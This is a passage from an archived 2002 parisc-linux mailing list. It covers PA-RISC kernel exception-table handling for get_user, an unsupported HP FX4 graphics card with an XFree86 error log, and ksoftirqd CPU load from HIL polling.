>  * r9 and 0x1 tells the exception handler to put -EFAULT in r8.
>  * This allows us to handle the simple cases for put_user and
>  * get_user without having to have .fixup sections.
>  */

But may I any way use a .fixup section (I do not find any usage of a .fixup
section in parisc code). Even lusercopy.S do not use it (just a kind of)?

> 
> struct exception_table_entry {
>         unsigned long addr;  /* address of insn that is allowed to fault.
  */
>         long skip;           /* pcoq skip | r9 clear flag | r8 -EFAULT
flag */
> };
> 
> so let's take __get_user() ...
> 
> #define __get_user(x,ptr)                               \
> ({                                                      \
>         register long __gu_err __asm__ ("r8") = 0;      \
>         register long __gu_val __asm__ ("r9") = 0;      \
>         [...]

Well in the case of a 64bits int, I could not use only one "r9" register.
May I used a third register: "r10" for instance?

>         }                                               \
>         (x) = (__typeof__(*(ptr))) __gu_val;            \
>         __gu_err;                                       \
> })
> 
> iow, at the end of __get_user, x == r9, and the return value is r8
> 
> so, if the extable says:
>                 "\t.section __ex_table,\"a\"\n"         \
>                  "\t.word\t1b\n"                        \
>                  "\t.word\t(2b-1b)+3\n"                 \
>                  "\t.previous"                          \
> 
> this means that:
> if the insn at label 1 faults, handle the fault (see
> arch/parisc/mm/fault.c) and then continue at 
> label1+((label2-label1)&~3) == label2; also, since the lowest 2 bits are
> set (+3), set r9 = 0 and r8 = -EFAULT --> get_user will set x = 0 and
> return -EFAULT
> 
Thanks a lot for all of your understand and help,
    Joel



From - Thu Nov 08 21:24:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "b.gunreben" <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Can't start X-windows on HP C240 with HP FX4 graphics 
 card ?
Date: Mon, 07 Oct 2002 18:49:19 +0200
Lines: 129
Approved: news@gmane.org
Message-ID: <3DA1BB0F.97887A66@web.de>
References: <5.1.0.14.2.20021007125233.00ada6a0@pophost.khk.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621803 15153 80.91.229.3 (22 Nov 2014 02:03:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  7 10:49:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.web.de (smtp02.web.de [217.72.192.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29BA4483E
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Oct 2002 10:49:31 -0600 (MDT)
Original-Received: from c-180-203-238.n.dial.de.ignite.net ([62.180.203.238] helo=web.de)
	by smtp.web.de with asmtp (WEB.DE(Exim) 4.75 #2)
	id 17yb4Q-0001HQ-00
	for parisc-linux@lists.parisc-linux.org; Mon, 07 Oct 2002 18:49:26 +0200
X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16403

Hi,

the FX? Cards are unsupported at the moment. However, if I understand
correctly, there has been a port for x86 linux at times of kernel
2.2.16. I am not a kernel hacker, but I would like to know if there is a
possibility to port the beta quality  driver from 
http://www.hp.com/workstations/support/software/drivers/linux/video/fxvideo/
to current kernels.


Berthold

Peter Karsmakers wrote:
> 
> Hi,
> 
> I have a HP visualize C240 with a FX4 graphics card.  I've mananged to
> install linux parisc but can't get the X windows to work.  Is my graphics
> adapter supported?
> 
> The following output is dumped on the screen when I give the xstart command.
> 
> Thanks,
> 
> Peter Karsmakers
> 
> debianC240:~# startx
> 
> warning: process set to nice value 0 instead of -10 as requested
> 
> This is a pre-release version of XFree86, and is not supported in any
> way.  Bugs may be reported to XFree86@XFree86.Org and patches submitted
> to fixes@XFree86.Org.  Before reporting bugs in pre-release versions,
> please check the latest version in the XFree86 CVS repository
> (http://www.XFree86.Org/cvs)
> 
> XFree86 Version 4.1.0.1 / X Window System
> (protocol Version 11, revision 0, vendor release 6510)
> Release Date: 21 December 2001
>          If the server is older than 6-12 months, or if your card is
>          newer than the above date, look for a newer version before
>          reporting problems.  (See http://www.XFree86.Org/FAQ)
> Build Operating System: Linux 2.4.16-64 parisc64 [ELF]
> (==) Log file: "/var/log/XFree86.0.log", Time: Fri Oct  4 16:46:28 2002
> (==) Using config file: "/etc/X11/XF86Config-4"
> Markers: (--) probed, (**) from config file, (==) default setting,
>           (++) from command line, (!!) notice, (II) informational,
>           (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
> (==) ServerLayout "Default Layout"
> (**) |-->Screen "Default Screen" (0)
> (**) |   |-->Monitor "compaq qvision"
> (**) |   |-->Device "HP 4FX"
> (**) |-->Input Device "Generic Keyboard"
> (**) XKB: rules: "xfree86"
> (**) XKB: model: "pc104"
> (**) XKB: layout: "us"
> (**) |-->Input Device "Configured Mouse"
> (**) |-->Input Device "Generic Mouse"
> (WW) The directory "/usr/lib/X11/fonts/cyrillic" does not exist.
>          Entry deleted from font path.
> (**) FontPath set to
> "unix/:7100,/usr/lib/X11/fonts/misc,/usr/lib/X11/fonts/100d
> pi/:unscaled,/usr/lib/X11/fonts/75dpi/:unscaled,/usr/lib/X11/fonts/Type1,/usr/li
> b/X11/fonts/Speedo,/usr/lib/X11/fonts/100dpi,/usr/lib/X11/fonts/75dpi"
> (==) RgbPath set to "/usr/X11R6/lib/X11/rgb"
> (--) using VT number 7
> 
> (--) PCI: (1:4:0) HP unknown chipset (0x1008) rev 2, Mem @ 0xf6000000/25,
> BIOS @
>   0xf1e00000/21
> (II) MGA: driver for Matrox chipsets: mga2064w, mga1064sg, mga2164w,
>          mga2164w AGP, mgag100, mgag100 PCI, mgag200, mgag200 PCI, mgag400
> (II) GLINT: driver for 3Dlabs chipsets: gamma, ti_pm2, ti_pm, pm3, pm2v,
>          pm2, pm, 300sx, 500tx, mx, delta
> (II) S3VIRGE: driver (version 1.6.13) for S3 ViRGE chipsets: virge, 86C325,
>          virge vx, 86C988, virge dx, virge gx, 86C375, 86C385, virge gx2,
>          86C357, virge mx, 86C260, virge mx+, 86C280, trio 3d, 86C365,
>          trio 3d/2x, 86C362, 86C368
> (II) SIS: driver for SiS chipsets: SIS5597, SIS5598, SIS530, SIS6326,
>          SIS300, SIS630, SIS540
> (II) SAVAGE: driver (version 1.1.16) for S3 Savage chipsets: Savage4,
>          Savage3D, Savage3D-MV, Savage2000, Savage/MX-MV, Savage/MX,
>          Savage/IX-MV, Savage/IX, ProSavage PM133, ProSavage KM133, Twister,
>          TwisterK
> (II) TRIDENT: driver for Trident chipsets: tvga8900d, cyber9320, cyber9388,
>          cyber9397, cyber9397dvd, cyber9520, cyber9525dvd, cyberblade/e4,
>          tgui9420dgi, tgui9440agi, tgui9660, tgui9680, providia9682,
>          providia9685, cyber9382, cyber9385, 3dimage975, 3dimage985, blade3d,
>          cyberbladei7, cyberbladei7d, cyberbladei1, cyberbladei1d,
>          cyberbladeAi1, cyberbladeAi1d, cyberbladeXP, cyberbladeXPm
> (II) CHIPS: Driver for Chips and Technologies chipsets: ct65520, ct65525,
>          ct65530, ct65535, ct65540, ct65545, ct65546, ct65548, ct65550,
>          ct65554, ct65555, ct68554, ct69000, ct69030, ct64200, ct64300
> (II) TDFX: Driver for 3dfx Banshee/Voodoo3 chipsets: 3dfx Banshee,
>          3dfx Voodoo3, 3dfx Voodoo5
> (II) FBDev: driver for framebuffer: fbdev, afb
> (II) ATI: ATI driver (version 6.3.6) for chipsets: ati
> (II) R128: Driver for ATI Rage 128 chipsets: ATI Rage 128 RE (PCI),
>          ATI Rage 128 RF (AGP), ATI Rage 128 RG (AGP), ATI Rage 128 RK (PCI),
>          ATI Rage 128 RL (AGP), ATI Rage 128 Pro PD (PCI),
>          ATI Rage 128 Pro PF (AGP), ATI Rage 128 Pro PP (PCI),
>          ATI Rage 128 Pro PR (PCI), ATI Rage 128 Mobility LE (PCI),
>          ATI Rage 128 Mobility LF (AGP), ATI Rage 128 Mobility MF (AGP),
>          ATI Rage 128 Mobility ML (AGP)
> (II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP),
>          ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP),
>          ATI Radeon VE (AGP)
> (II) imstt: driver (version 1.0.0 for IMS TwinTurbo chipsets : imstt128,
>          imstt3d
> (II) VGA: Generic VGA driver (version 4.0) for chipsets: generic
> (II) v4l driver for Video4Linux
> (EE) No devices detected.
> 
> Fatal server error:
> no screens found
> 
> When reporting a problem related to a server crash, please send
> the full server output, not just the last messages.
> This can be found in the log file "/var/log/XFree86.0.log".
> Please report problems to submit@bugs.debian.org.
> 
> XIO:  fatal IO error 232 (Connection reset by peer) on X server ":0.0"
>        after 0 requests (0 known processed) with 0 events remaining.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


From - Thu Nov 08 21:24:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ksoftirqd eats 100% cpu :-(
Date: Mon, 7 Oct 2002 21:52:04 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <200210072152.04775.deller@gmx.de>
References: <3DA1A6F3.8030707@visoel.de> <3DA1A641.1090306@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621803 15159 80.91.229.3 (22 Nov 2014 02:03:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>,
	Tilo Riemer <t.riemer@visoel.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  7 13:58:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 0BD3D4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Oct 2002 13:58:02 -0600 (MDT)
Original-Received: (qmail 10159 invoked by uid 0); 7 Oct 2002 19:57:57 -0000
Original-Received: from pd9040e28.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.14.40)
  by mail.gmx.net (mp004-rz3) with SMTP; 7 Oct 2002 19:57:57 -0000
User-Agent: KMail/1.4.7
In-Reply-To: <3DA1A641.1090306@esiee.fr>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16404

On Monday 07 October 2002 17:20, Thibaut VARENE wrote:
> Tilo Riemer wrote:
> > Hello list,
> >
> > I use Debian 3.0 on an HP9000/710. Almost all works fine, but the
> > ksoftirqd eats all cpu time. I read that it's a bug in the kernel. Is
> > there a patch for fixing this problem?
>
> It's a well known bug. on 7x0 and 7x5 boxes.

It's a bug/feature related to the HIL drivers. 
Since we have to poll the HIL ports the whole time
the bunch of running timers increase the ksoftirqd load a lot.

> Maybe we should add a faq entry ?

This would be great.

Helge




From - Thu Nov 08 21:24:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Riemer <t.riemer@visoel.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ksoftirqd eats 100% cpu :-(
Date: Tue, 08 Oct 2002 09:59:13 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <3DA29051.6030707@visoel.de>
References: <3DA1A6F3.8030707@visoel.de> <3DA1A641.1090306@esiee.fr> <200210072152.04775.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621804 15160 80.91.229.3 (22 Nov 2014 02:03:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  8 01:55:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from post.webmailer.de (natwar.webmailer.de [192.67.198.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87DE74829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Oct 2002 01:55:04 -0600 (MDT)
Original-Received: from visoel.de (dialin-145-254-078-185.arcor-ip.net [145.254.78.185])
	by post.webmailer.de (8.9.3/8.8.7) with ESMTP id JAA06059
	for <parisc-linux@lists.parisc-linux.org>; Tue, 8 Oct 2002 09:54:59 +0200 (MEST)
User-Agent: Mozilla/5.0 (Windows; U; WinNT; en; Stable) Gecko/20020911 Beonex/0.8.1-stable
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16405

Hello,


>>>I use Debian 3.0 on an HP9000/710. Almost all works fine, but the
>>>ksoftirqd eats all cpu time. I read that it's a bug in the kernel. Is
>>>there a patch for fixing this problem?
>>
> It's a bug/feature related to the HIL drivers. 
> Since we have to poll the HIL ports the whole time
> the bunch of running timers increase the ksoftirqd load a lot.

Okay, if it's a feature and not a bug I can sleep without worries ;-)


Best regards and thanks, Tilo



From - Thu Nov 08 21:24:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Riemer <t.riemer@visoel.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ksoftirqd eats 100% cpu :-(
Date: Tue, 08 Oct 2002 10:03:13 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <3DA29141.3030802@visoel.de>
References: <3DA1A6F3.8030707@visoel.de> <3DA1A641.1090306@esiee.fr> <200210072152.04775.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621804 15166 80.91.229.3 (22 Nov 2014 02:03:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  8 01:59:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from post.webmailer.de (natwar.webmailer.de [192.67.198.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9EDF54829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Oct 2002 01:59:04 -0600 (MDT)
Original-Received: from visoel.de (dialin-145-254-078-185.arcor-ip.net [145.254.78.185])
	by post.webmailer.de (8.9.3/8.8.7) with ESMTP id JAA11300
	for <parisc-linux@lists.parisc-linux.org>; Tue, 8 Oct 2002 09:58:59 +0200 (MEST)
User-Agent: Mozilla/5.0 (Windows; U; WinNT; en; Stable) Gecko/20020911 Beonex/0.8.1-stable
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16406

Hello list,

>>>I use Debian 3.0 on an HP9000/710. Almost all works fine, but the
>>>ksoftirqd eats all cpu time. I read that it's a bug in the kernel. Is
>>>there a patch for fixing this problem?

> It's a bug/feature related to the HIL drivers. 
> Since we have to poll the HIL ports the whole time
> the bunch of running timers increase the ksoftirqd load a lot.

Btw, if the mouse and keyboard are attached, the ksoftirqd needs about 
50-60%, without mouse and keyboard, it needs 100%.


Best regards, Tilo



From - Thu Nov 08 21:24:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Karsmakers <peter.karsmakers@khk.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Can't start X-windows on HP C240 with HP FX4 graphics card ?
Date: Tue, 08 Oct 2002 10:02:16 +0200
Lines: 121
Approved: news@gmane.org
Message-ID: <5.1.0.14.2.20021008095852.00ad3d58@pophost.khk.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416621804 15168 80.91.229.3 (22 Nov 2014 02:03:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  8 02:02:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailhost.khk.be (unknown [193.190.63.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id B83624829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Oct 2002 02:02:39 -0600 (MDT)
Original-Received: (from uucp@localhost)
	by mailhost.khk.be (8.11.6/8.11.6) id g9882a031755
	for <parisc-linux@lists.parisc-linux.org>; Tue, 8 Oct 2002 10:02:36 +0200
Original-Received: from zohra(10.6.3.103), claiming to be "zohra.khk.be"
 via SMTP by mailhost.khk.be, id smtpdPmlm0q; Tue Oct  8 10:02:28 2002
Original-Received: (from uucp@localhost)
	by zohra.khk.be (8.9.3/8.8.7) id KAA01904
	for <parisc-linux@lists.parisc-linux.org>; Tue, 8 Oct 2002 10:02:28 +0200
Original-Received: from UNKNOWN(10.67.128.24), claiming to be "peter01.khk.be"
 via SMTP by zohra.khk.be, id smtpdtTUbTO; Tue Oct  8 10:02:27 2002
X-Sender: p0001074@pophost.khk.be
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16407

This port would be very interesting.  I hope someone can help us.

 >Hi,
 >
 >the FX? Cards are unsupported at the moment. However, if I understand
 >correctly, there has been a port for x86 linux at times of kernel
 >2.2.16. I am not a kernel hacker, but I would like to know if there is a
 >possibility to port the beta quality  driver from
 >http://www.hp.com/workstations/support/software/drivers/linux/video/fxvideo/
 >to current kernels.
 >
 >
 >Berthold
 >
 >>Peter Karsmakers wrote:
 > > Hi,
 > > I have a HP visualize C240 with a FX4 graphics card.  I've mananged to
 > install linux parisc but can't get the X windows to work.  Is my graphics
 > adapter supported?
 > > The following output is dumped on the screen when I give the xstart 
command.
 > > Thanks,
 > > Peter Karsmakers
 > > debianC240:~# startx
 > > warning: process set to nice value 0 instead of -10 as requested
 > > This is a pre-release version of XFree86, and is not supported in any
 > way.  Bugs may be reported to XFree86@XFree86.Org and patches submitted
 > to fixes@XFree86.Org. Before reporting bugs in pre-release versions,
 > please check the latest version in the XFree86 CVS repository
 > (http://www.XFree86.Org/cvs)
 > > XFree86 Version 4.1.0.1 / X Window System
 > (protocol Version 11, revision 0, vendor release 6510)
 > Release Date: 21 December 2001
 > If the server is older than 6-12 months, or if your card is
 > newer than the above date, look for a newer version before
 > reporting problems.  (See http://www.XFree86.Org/FAQ)
 > Build Operating System: Linux 2.4.16-64 parisc64 [ELF]
 > (==) Log file: "/var/log/XFree86.0.log", Time: Fri Oct  4 16:46:28 2002
 > (==) Using config file: "/etc/X11/XF86Config-4"
 > Markers: (--) probed, (**) from config file, (==) default setting,
 > (++) from command line, (!!) notice, (II) informational,
 > (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
 > (==) ServerLayout "Default Layout"
 > (**) |-->Screen "Default Screen" (0)
 > (**) |   |-->Monitor "compaq qvision"
 > (**) |   |-->Device "HP 4FX"
 > (**) |-->Input Device "Generic Keyboard"
 > (**) XKB: rules: "xfree86"
 > (**) XKB: model: "pc104"
 > (**) XKB: layout: "us"
 > (**) |-->Input Device "Configured Mouse"
 > (**) |-->Input Device "Generic Mouse"
 > (WW) The directory "/usr/lib/X11/fonts/cyrillic" does not exist.
 > Entry deleted from font path.
 > (**) FontPath set to
 > "unix/:7100,/usr/lib/X11/fonts/misc,/usr/lib/X11/fonts/100d
 > 
pi/:unscaled,/usr/lib/X11/fonts/75dpi/:unscaled,/usr/lib/X11/fonts/Type1,/usr/li
 > b/X11/fonts/Speedo,/usr/lib/X11/fonts/100dpi,/usr/lib/X11/fonts/75dpi"
 > (==) RgbPath set to "/usr/X11R6/lib/X11/rgb"
 > (--) using VT number 7
 > > (--) PCI: (1:4:0) HP unknown chipset (0x1008) rev 2, Mem @ 0xf6000000/25,
 > BIOS @
 > 0xf1e00000/21
 > (II) MGA: driver for Matrox chipsets: mga2064w, mga1064sg, mga2164w,
 > mga2164w AGP, mgag100, mgag100 PCI, mgag200, mgag200 PCI, mgag400
 > (II) GLINT: driver for 3Dlabs chipsets: gamma, ti_pm2, ti_pm, pm3, pm2v,
 > pm2, pm, 300sx, 500tx, mx, delta
 > (II) S3VIRGE: driver (version 1.6.13) for S3 ViRGE chipsets: virge, 86C325,
 > virge vx, 86C988, virge dx, virge gx, 86C375, 86C385, virge gx2,
 > 86C357, virge mx, 86C260, virge mx+, 86C280, trio 3d, 86C365,
 > trio 3d/2x, 86C362, 86C368
 > (II) SIS: driver for SiS chipsets: SIS5597, SIS5598, SIS530, SIS6326,
 > SIS300, SIS630, SIS540
 > (II) SAVAGE: driver (version 1.1.16) for S3 Savage chipsets: Savage4,
 > Savage3D, Savage3D-MV, Savage2000, Savage/MX-MV, Savage/MX,
 > Savage/IX-MV, Savage/IX, ProSavage PM133, ProSavage KM133, Twister,
 > TwisterK
 > (II) TRIDENT: driver for Trident chipsets: tvga8900d, cyber9320, cyber9388,
 > cyber9397, cyber9397dvd, cyber9520, cyber9525dvd, cyberblade/e4,
 > tgui9420dgi, tgui9440agi, tgui9660, tgui9680, providia9682,
 > providia9685, cyber9382, cyber9385, 3dimage975, 3dimage985, blade3d,
 > cyberbladei7, cyberbladei7d, cyberbladei1, cyberbladei1d,
 > cyberbladeAi1, cyberbladeAi1d, cyberbladeXP, cyberbladeXPm
 > (II) CHIPS: Driver for Chips and Technologies chipsets: ct65520, ct65525,
 > ct65530, ct65535, ct65540, ct65545, ct65546, ct65548, ct65550,
 > ct65554, ct65555, ct68554, ct69000, ct69030, ct64200, ct64300
 > (II) TDFX: Driver for 3dfx Banshee/Voodoo3 chipsets: 3dfx Banshee,
 > 3dfx Voodoo3, 3dfx Voodoo5
 > (II) FBDev: driver for framebuffer: fbdev, afb
 > (II) ATI: ATI driver (version 6.3.6) for chipsets: ati
 > (II) R128: Driver for ATI Rage 128 chipsets: ATI Rage 128 RE (PCI),
 > ATI Rage 128 RF (AGP), ATI Rage 128 RG (AGP), ATI Rage 128 RK (PCI),
 > ATI Rage 128 RL (AGP), ATI Rage 128 Pro PD (PCI),
 > ATI Rage 128 Pro PF (AGP), ATI Rage 128 Pro PP (PCI),
 > ATI Rage 128 Pro PR (PCI), ATI Rage 128 Mobility LE (PCI),
 > ATI Rage 128 Mobility LF (AGP), ATI Rage 128 Mobility MF (AGP),
 > ATI Rage 128 Mobility ML (AGP)
 > (II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP),
 > ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP),
 > ATI Radeon VE (AGP)
 > (II) imstt: driver (version 1.0.0 for IMS TwinTurbo chipsets : imstt128,
 > imstt3d
 > (II) VGA: Generic VGA driver (version 4.0) for chipsets: generic
 > (II) v4l driver for Video4Linux
 > (EE) No devices detected.
 > > Fatal server error:
 > no screens found
 > > When reporting a problem related to a server crash, please send
 > the full server output, not just the last messages.
 > This can be found in the log file "/var/log/XFree86.0.log".
 > Please report problems to submit@bugs.debian.org.
 > > XIO:  fatal IO error 232 (Connection reset by peer) on X server ":0.0"
 > after 0 requests (0 known processed) with 0 events remaining.
 > > _______________________________________________
 > parisc-linux mailing list
 > parisc-linux@lists.parisc-linux.org
 > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:24:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Riemer <t.riemer@visoel.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cvsup for hppa?
Date: Tue, 08 Oct 2002 10:15:07 +0200
Lines: 8
Approved: news@gmane.org
Message-ID: <3DA2940B.8030304@visoel.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621804 15176 80.91.229.3 (22 Nov 2014 02:03:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  8 02:10:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
